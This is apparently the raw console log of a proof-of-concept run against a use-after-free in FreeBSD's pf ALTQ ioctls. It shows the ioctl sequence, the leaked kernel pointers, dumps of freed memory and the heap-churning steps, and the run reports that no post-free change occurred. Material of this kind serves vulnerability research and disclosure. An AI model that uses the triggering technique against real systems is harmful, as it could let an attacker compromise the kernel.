[+] DIOCXBEGIN(PF_RULESET_ALTQ) ok, ticket=1
[+] DIOCADDALTQ(interface-spec) ok: pif_ifq captured
[+] pif=0xfffff8008bb64280 pif_ifq=0xfffff80117aebf50 ifnet=0xfffff80117aebd80 altq_subq=0xfffff8008d3ce600
    subq (live):           fffff8008d3ce600: 0000000000000000 fffffffffffffffe 0000000000000000 fffff80117aebf50 fffff80117aebd80 0000000000000000 0000000000000000 0000000000000000
[+] SIOCIFDESTROY(tap0) ok: ifnet+altq_subq freed
[*] DIOCADDALTQ(queue-spec): priq_add_queue -> PRIQ_LOCK on freed ifq ...
df3443_poc: DIOCADDALTQ(queue-spec): Operation not supported by device
[*] kernel-visible *(pif_ifq->altq_subq) = 0xfffff8008d3ce600 (tap0's original array was 0xfffff8008d3ce600)
    subq_now (A):          fffff8008d3ce600: fffff8008d3ce100 fffffffffffffffe 0000000000000000 fffff80117aebf50 fffff80117aebd80 0000000000000000 0000000000000000 0000000000000000
    subq_now (B):          fffff8008d3ce600: fffff8008d3ce100 fffffffffffffffe 0000000000000000 fffff80117aebf50 fffff80117aebd80 0000000000000000 0000000000000000 0000000000000000
    (no post-free delta this run)
    ifnet (freed):         fffff80117aebd80: 0000000000000000 0000000000000000 0000000000000000 fffff80118678190 0000000030706174 0000000000000000 ffffffff82792739 0000000000000000
    subq0 (freed):         fffff8008d3ce600: fffff8008d3ce100 fffffffffffffffe 0000000000000000 fffff80117aebf50 fffff80117aebd80 0000000000000000 0000000000000000 0000000000000000
[*] churning 48 tap create/destroy cycles (same zone)
[*] sleeping 6s (slab timer observation window)
[*] pf ioctls still responsive, trying DIOCGETALTQS
[+] DIOCGETALTQS ok (pf not wedged, nr=0)